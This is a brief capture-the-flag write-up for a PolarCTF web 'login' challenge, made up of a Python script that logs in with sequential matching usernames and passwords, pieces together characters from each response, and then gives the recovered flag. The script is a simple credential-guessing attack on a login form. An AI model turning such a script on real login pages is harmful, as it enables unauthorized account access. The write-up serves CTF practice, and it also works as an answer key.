PoloarCTF WriteUp

Web

login

import re
import requests

res = ""
url = "http://5077cb7c-84a4-4a16-84e9-8a4547f7efbc.www.polarctf.com:8090"
for i in range(2, 30):
  username = "202001{:02d}".format(i)
  password = "202001{:02d}".format(i)
  payload = {
    "username": username,
    "password": password,
    "submit": "Submit+Query"
  }
  resp = requests.post(url, data=payload)
  p = re.findall(r"[a-zA-Z0-9]+", resp.text[-10:])
  if len(p) != 0:
    res += p[0]

print(res)

flag{dlcg}